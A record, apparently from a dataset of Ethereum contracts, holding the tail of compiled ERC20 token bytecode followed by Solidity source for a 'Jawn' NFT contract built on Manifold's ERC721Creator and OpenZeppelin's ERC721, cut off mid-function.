fffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114d990919063ffffffff16565b610f61565b6001905092915050565b610868610f59565b73ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461092a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6109348282611561565b5050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610988610f59565b73ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a4a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600560016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060048054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610bcd5780601f10610ba257610100808354040283529160200191610bcd565b820191906000526020600020905b815481529060010190602001808311610bb057829003601f168201915b5050505050905090565b6000610c9a610be4610f59565b84610c95856040518060600160405280602581526020016118306025913960016000610c0e610f59565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114199092919063ffffffff16565b610f61565b6001905092915050565b6000610cb8610cb1610f59565b8484611158565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610d51610f59565b73ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e13576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610e99576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806117516026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600560016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610fe7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061180c6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561106d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806117776022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156111de576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806117e76025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611264576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602381526020018061172e6023913960400191505060405180910390fd5b61126f838383611728565b6112da81604051806060016040528060268152602001611799602691396000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114199092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061136d816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114d990919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b60008383111582906114c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561148b578082015181840152602081019050611470565b50505050905090810190601f1680156114b85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611557576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611604576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f45524332303a206d696e7420746f20746865207a65726f20616464726573730081525060200191505060405180910390fd5b61161060008383611728565b611625816002546114d990919063ffffffff16565b60028190555061167c816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114d990919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f20616464726573734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122039b45846c7ff2815a7a18fefef393995f2eaf8167a18f4a2cb398316d5039f3864736f6c634300060c0033 | [
38
] |
0xf33cc6f3a9ac3a702abe0e7070e22644cbde6826 | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/// @title: Jawn
import "./ERC721Creator.sol";
//
// $
// $ $
// $ $ $
// $
// $ * $ * *
// $
// $ $
// $ $ * $
// * $ $
// ** * * *
// **************//////,
// ***************////((
// ***************////((
// ************/////*
// **************//////(*
// ********************/////.
// ***********************/////.
// *************************//////.
// ***************************///////.
// ****************************////////.
// ******************************/////////.
// *******************************//////////.
// *********************************///////////.
// **********************************///////////*,
// ***********************************////////////*,
// ************************************//////////(((/.
// .*************************************//////////((((/.
// .************************************//////////(((((/*
// .************************************////////(((((((/,
// .************************************////////(((((((/*
// .************************************////////(((((((/*
// .************************************////////(((((((/*
// //////////////////////////////////////.,,.,,,,,,*//((/
// | * .-./`) ____ .--. .-- _--. .--. * |
// | \ '_ .').' __ `.| |_ | _( )_ \ | | |
// | (_ (_) _/ ' \ .| _( )_ |(_ o _) \ | | |
// | ( . ) |___| / ||(_ o _) | (_,_)\_ \| | |
// | __ |-'`| _.-` || (_,_) \ | | _( )_\ | |
// | | | | ' .' _ || |/ \| | (_ o _) | |
// | | `-' / | _( )_ || ' /\ ` | (_,_)\ | |
// | \ / \ (_ o _)|| / \ | | | | |
// | * `-..-' '.(_,_).'`---' `---'--' '--' * |
// ,,,,,,,,,,,,,,,,,,,,,,,,*,****,//**,/****/**(/((((//*
// .*************************************/////////////((.
// .*************************************////////(((((((.
// .*************************************////////(((((((.
// .*************************************////////((((((/.
// .**************************************///////(((((((,
// .*************************************////////((((((,.
// .*************************************////////((((((/.
// .*************************************////////(((((((,
// .*************************************////////(((((((,
// .*************************************////////(((((((,
// .*************************************////////((((((,.
// .************************************////////|((((((,.
// .************************************/////////((((((,.
// .***********************************////////((((((((,.
// .***********************************////////((((((((,.
// .************************************////////|((((((,.
// .************************************/////////((((((,.
// .***********************************////////((((((((,.
// .***********************************////////((((((((,.
// .***********************************/////////(((((((,.
// .**********************************////////(((((((((,.
// .**********************************////////(((((((((,.
// .*******************************/////////(((((((((((..
// ........................,,,,,,,,....,,,,,,,,,,,,,....$
//
contract JAWN is ERC721Creator {
constructor() ERC721Creator("Jawn", "JAWN") {}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "./access/AdminControl.sol";
import "./core/ERC721CreatorCore.sol";
/**
* @dev ERC721Creator implementation
*/
contract ERC721Creator is AdminControl, ERC721, ERC721CreatorCore {
constructor (string memory _name, string memory _symbol) ERC721(_name, _symbol) {
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721, ERC721CreatorCore, AdminControl) returns (bool) {
return ERC721CreatorCore.supportsInterface(interfaceId) || ERC721.supportsInterface(interfaceId) || AdminControl.supportsInterface(interfaceId);
}
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual override {
_approveTransfer(from, to, tokenId);
}
/**
* @dev See {ICreatorCore-registerExtension}.
*/
function registerExtension(address extension, string calldata baseURI) external override adminRequired nonBlacklistRequired(extension) {
_registerExtension(extension, baseURI, false);
}
/**
* @dev See {ICreatorCore-registerExtension}.
*/
function registerExtension(address extension, string calldata baseURI, bool baseURIIdentical) external override adminRequired nonBlacklistRequired(extension) {
_registerExtension(extension, baseURI, baseURIIdentical);
}
/**
* @dev See {ICreatorCore-unregisterExtension}.
*/
function unregisterExtension(address extension) external override adminRequired {
_unregisterExtension(extension);
}
/**
* @dev See {ICreatorCore-blacklistExtension}.
*/
function blacklistExtension(address extension) external override adminRequired {
_blacklistExtension(extension);
}
/**
* @dev See {ICreatorCore-setBaseTokenURIExtension}.
*/
function setBaseTokenURIExtension(string calldata uri) external override extensionRequired {
_setBaseTokenURIExtension(uri, false);
}
/**
* @dev See {ICreatorCore-setBaseTokenURIExtension}.
*/
function setBaseTokenURIExtension(string calldata uri, bool identical) external override extensionRequired {
_setBaseTokenURIExtension(uri, identical);
}
/**
* @dev See {ICreatorCore-setTokenURIPrefixExtension}.
*/
function setTokenURIPrefixExtension(string calldata prefix) external override extensionRequired {
_setTokenURIPrefixExtension(prefix);
}
/**
* @dev See {ICreatorCore-setTokenURIExtension}.
*/
function setTokenURIExtension(uint256 tokenId, string calldata uri) external override extensionRequired {
_setTokenURIExtension(tokenId, uri);
}
/**
* @dev See {ICreatorCore-setTokenURIExtension}.
*/
function setTokenURIExtension(uint256[] memory tokenIds, string[] calldata uris) external override extensionRequired {
require(tokenIds.length == uris.length, "Invalid input");
for (uint i = 0; i < tokenIds.length; i++) {
_setTokenURIExtension(tokenIds[i], uris[i]);
}
}
/**
* @dev See {ICreatorCore-setBaseTokenURI}.
*/
function setBaseTokenURI(string calldata uri) external override adminRequired {
_setBaseTokenURI(uri);
}
/**
* @dev See {ICreatorCore-setTokenURIPrefix}.
*/
function setTokenURIPrefix(string calldata prefix) external override adminRequired {
_setTokenURIPrefix(prefix);
}
/**
* @dev See {ICreatorCore-setTokenURI}.
*/
function setTokenURI(uint256 tokenId, string calldata uri) external override adminRequired {
_setTokenURI(tokenId, uri);
}
/**
* @dev See {ICreatorCore-setTokenURI}.
*/
function setTokenURI(uint256[] memory tokenIds, string[] calldata uris) external override adminRequired {
require(tokenIds.length == uris.length, "Invalid input");
for (uint i = 0; i < tokenIds.length; i++) {
_setTokenURI(tokenIds[i], uris[i]);
}
}
/**
* @dev See {ICreatorCore-setMintPermissions}.
*/
function setMintPermissions(address extension, address permissions) external override adminRequired {
_setMintPermissions(extension, permissions);
}
/**
* @dev See {IERC721CreatorCore-mintBase}.
*/
function mintBase(address to) public virtual override nonReentrant adminRequired returns(uint256) {
return _mintBase(to, "");
}
/**
* @dev See {IERC721CreatorCore-mintBase}.
*/
function mintBase(address to, string calldata uri) public virtual override nonReentrant adminRequired returns(uint256) {
return _mintBase(to, uri);
}
/**
* @dev See {IERC721CreatorCore-mintBaseBatch}.
*/
function mintBaseBatch(address to, uint16 count) public virtual override nonReentrant adminRequired returns(uint256[] memory tokenIds) {
tokenIds = new uint256[](count);
for (uint16 i = 0; i < count; i++) {
tokenIds[i] = _mintBase(to, "");
}
return tokenIds;
}
/**
* @dev See {IERC721CreatorCore-mintBaseBatch}.
*/
function mintBaseBatch(address to, string[] calldata uris) public virtual override nonReentrant adminRequired returns(uint256[] memory tokenIds) {
tokenIds = new uint256[](uris.length);
for (uint i = 0; i < uris.length; i++) {
tokenIds[i] = _mintBase(to, uris[i]);
}
return tokenIds;
}
/**
* @dev Mint token with no extension
*/
function _mintBase(address to, string memory uri) internal virtual returns(uint256 tokenId) {
_tokenCount++;
tokenId = _tokenCount;
// Track the extension that minted the token
_tokensExtension[tokenId] = address(this);
_safeMint(to, tokenId);
if (bytes(uri).length > 0) {
_tokenURIs[tokenId] = uri;
}
// Call post mint
_postMintBase(to, tokenId);
return tokenId;
}
/**
* @dev See {IERC721CreatorCore-mintExtension}.
*/
function mintExtension(address to) public virtual override nonReentrant extensionRequired returns(uint256) {
return _mintExtension(to, "");
}
/**
* @dev See {IERC721CreatorCore-mintExtension}.
*/
function mintExtension(address to, string calldata uri) public virtual override nonReentrant extensionRequired returns(uint256) {
return _mintExtension(to, uri);
}
/**
* @dev See {IERC721CreatorCore-mintExtensionBatch}.
*/
function mintExtensionBatch(address to, uint16 count) public virtual override nonReentrant extensionRequired returns(uint256[] memory tokenIds) {
tokenIds = new uint256[](count);
for (uint16 i = 0; i < count; i++) {
tokenIds[i] = _mintExtension(to, "");
}
return tokenIds;
}
/**
* @dev See {IERC721CreatorCore-mintExtensionBatch}.
*/
function mintExtensionBatch(address to, string[] calldata uris) public virtual override nonReentrant extensionRequired returns(uint256[] memory tokenIds) {
tokenIds = new uint256[](uris.length);
for (uint i = 0; i < uris.length; i++) {
tokenIds[i] = _mintExtension(to, uris[i]);
}
}
/**
* @dev Mint token via extension
*/
function _mintExtension(address to, string memory uri) internal virtual returns(uint256 tokenId) {
_tokenCount++;
tokenId = _tokenCount;
_checkMintPermissions(to, tokenId);
// Track the extension that minted the token
_tokensExtension[tokenId] = msg.sender;
_safeMint(to, tokenId);
if (bytes(uri).length > 0) {
_tokenURIs[tokenId] = uri;
}
// Call post mint
_postMintExtension(to, tokenId);
return tokenId;
}
/**
* @dev See {IERC721CreatorCore-tokenExtension}.
*/
function tokenExtension(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "Nonexistent token");
return _tokenExtension(tokenId);
}
/**
* @dev See {IERC721CreatorCore-burn}.
*/
function burn(uint256 tokenId) public virtual override nonReentrant {
require(_isApprovedOrOwner(msg.sender, tokenId), "Caller is not owner nor approved");
address owner = ownerOf(tokenId);
_burn(tokenId);
_postBurn(owner, tokenId);
}
/**
* @dev See {ICreatorCore-setRoyalties}.
*/
function setRoyalties(address payable[] calldata receivers, uint256[] calldata basisPoints) external override adminRequired {
_setRoyaltiesExtension(address(this), receivers, basisPoints);
}
/**
* @dev See {ICreatorCore-setRoyalties}.
*/
function setRoyalties(uint256 tokenId, address payable[] calldata receivers, uint256[] calldata basisPoints) external override adminRequired {
require(_exists(tokenId), "Nonexistent token");
_setRoyalties(tokenId, receivers, basisPoints);
}
/**
* @dev See {ICreatorCore-setRoyaltiesExtension}.
*/
function setRoyaltiesExtension(address extension, address payable[] calldata receivers, uint256[] calldata basisPoints) external override adminRequired {
_setRoyaltiesExtension(extension, receivers, basisPoints);
}
/**
* @dev {See ICreatorCore-getRoyalties}.
*/
function getRoyalties(uint256 tokenId) external view virtual override returns (address payable[] memory, uint256[] memory) {
require(_exists(tokenId), "Nonexistent token");
return _getRoyalties(tokenId);
}
/**
* @dev {See ICreatorCore-getFees}.
*/
function getFees(uint256 tokenId) external view virtual override returns (address payable[] memory, uint256[] memory) {
require(_exists(tokenId), "Nonexistent token");
return _getRoyalties(tokenId);
}
/**
* @dev {See ICreatorCore-getFeeRecipients}.
*/
function getFeeRecipients(uint256 tokenId) external view virtual override returns (address payable[] memory) {
require(_exists(tokenId), "Nonexistent token");
return _getRoyaltyReceivers(tokenId);
}
/**
* @dev {See ICreatorCore-getFeeBps}.
*/
function getFeeBps(uint256 tokenId) external view virtual override returns (uint[] memory) {
require(_exists(tokenId), "Nonexistent token");
return _getRoyaltyBPS(tokenId);
}
/**
* @dev {See ICreatorCore-royaltyInfo}.
*/
function royaltyInfo(uint256 tokenId, uint256 value, bytes calldata) external view virtual override returns (address, uint256, bytes memory) {
require(_exists(tokenId), "Nonexistent token");
return _getRoyaltyInfo(tokenId, value);
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "Nonexistent token");
return _tokenURI(tokenId);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/utils/structs/EnumerableSet.sol";
import "../extensions/ERC721/IERC721CreatorExtensionApproveTransfer.sol";
import "../extensions/ERC721/IERC721CreatorExtensionBurnable.sol";
import "../permissions/ERC721/IERC721CreatorMintPermissions.sol";
import "./IERC721CreatorCore.sol";
import "./CreatorCore.sol";
/**
* @dev Core ERC721 creator implementation
*/
abstract contract ERC721CreatorCore is CreatorCore, IERC721CreatorCore {
using EnumerableSet for EnumerableSet.AddressSet;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(CreatorCore, IERC165) returns (bool) {
return interfaceId == type(IERC721CreatorCore).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {ICreatorCore-setApproveTransferExtension}.
*/
function setApproveTransferExtension(bool enabled) external override extensionRequired {
require(!enabled || ERC165Checker.supportsInterface(msg.sender, type(IERC721CreatorExtensionApproveTransfer).interfaceId), "Extension must implement IERC721CreatorExtensionApproveTransfer");
if (_extensionApproveTransfers[msg.sender] != enabled) {
_extensionApproveTransfers[msg.sender] = enabled;
emit ExtensionApproveTransferUpdated(msg.sender, enabled);
}
}
/**
* @dev Set mint permissions for an extension
*/
function _setMintPermissions(address extension, address permissions) internal {
require(_extensions.contains(extension), "CreatorCore: Invalid extension");
require(permissions == address(0x0) || ERC165Checker.supportsInterface(permissions, type(IERC721CreatorMintPermissions).interfaceId), "Invalid address");
if (_extensionPermissions[extension] != permissions) {
_extensionPermissions[extension] = permissions;
emit MintPermissionsUpdated(extension, permissions, msg.sender);
}
}
/**
* Check if an extension can mint
*/
function _checkMintPermissions(address to, uint256 tokenId) internal {
if (_extensionPermissions[msg.sender] != address(0x0)) {
IERC721CreatorMintPermissions(_extensionPermissions[msg.sender]).approveMint(msg.sender, to, tokenId);
}
}
/**
* Override for post mint actions
*/
function _postMintBase(address, uint256) internal virtual {}
/**
* Override for post mint actions
*/
function _postMintExtension(address, uint256) internal virtual {}
/**
* Post-burning callback and metadata cleanup
*/
function _postBurn(address owner, uint256 tokenId) internal virtual {
// Callback to originating extension if needed
if (_tokensExtension[tokenId] != address(this)) {
if (ERC165Checker.supportsInterface(_tokensExtension[tokenId], type(IERC721CreatorExtensionBurnable).interfaceId)) {
IERC721CreatorExtensionBurnable(_tokensExtension[tokenId]).onBurn(owner, tokenId);
}
}
// Clear metadata (if any)
if (bytes(_tokenURIs[tokenId]).length != 0) {
delete _tokenURIs[tokenId];
}
// Delete token origin extension tracking
delete _tokensExtension[tokenId];
}
/**
* Approve a transfer
*/
function _approveTransfer(address from, address to, uint256 tokenId) internal {
if (_extensionApproveTransfers[_tokensExtension[tokenId]]) {
require(IERC721CreatorExtensionApproveTransfer(_tokensExtension[tokenId]).approveTransfer(from, to, tokenId), "ERC721Creator: Extension approval failure");
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/utils/introspection/ERC165.sol";
import "@openzeppelin/contracts/utils/structs/EnumerableSet.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "./IAdminControl.sol";
abstract contract AdminControl is Ownable, IAdminControl, ERC165 {
using EnumerableSet for EnumerableSet.AddressSet;
// Track registered admins
EnumerableSet.AddressSet private _admins;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return interfaceId == type(IAdminControl).interfaceId
|| super.supportsInterface(interfaceId);
}
/**
* @dev Only allows approved admins to call the specified function
*/
modifier adminRequired() {
require(owner() == msg.sender || _admins.contains(msg.sender), "AdminControl: Must be owner or admin");
_;
}
/**
* @dev See {IAdminControl-getAdmins}.
*/
function getAdmins() external view override returns (address[] memory admins) {
admins = new address[](_admins.length());
for (uint i = 0; i < _admins.length(); i++) {
admins[i] = _admins.at(i);
}
return admins;
}
/**
* @dev See {IAdminControl-approveAdmin}.
*/
function approveAdmin(address admin) external override onlyOwner {
if (!_admins.contains(admin)) {
emit AdminApproved(admin, msg.sender);
_admins.add(admin);
}
}
/**
* @dev See {IAdminControl-revokeAdmin}.
*/
function revokeAdmin(address admin) external override onlyOwner {
if (_admins.contains(admin)) {
emit AdminRevoked(admin, msg.sender);
_admins.remove(admin);
}
}
/**
* @dev See {IAdminControl-isAdmin}.
*/
function isAdmin(address admin) public override view returns (bool) {
return (owner() == admin || _admins.contains(admin));
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC721.sol";
import "./IERC721Receiver.sol";
import "./extensions/IERC721Metadata.sol";
import "../../utils/Address.sol";
import "../../utils/Context.sol";
import "../../utils/Strings.sol";
import "../../utils/introspection/ERC165.sol";
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
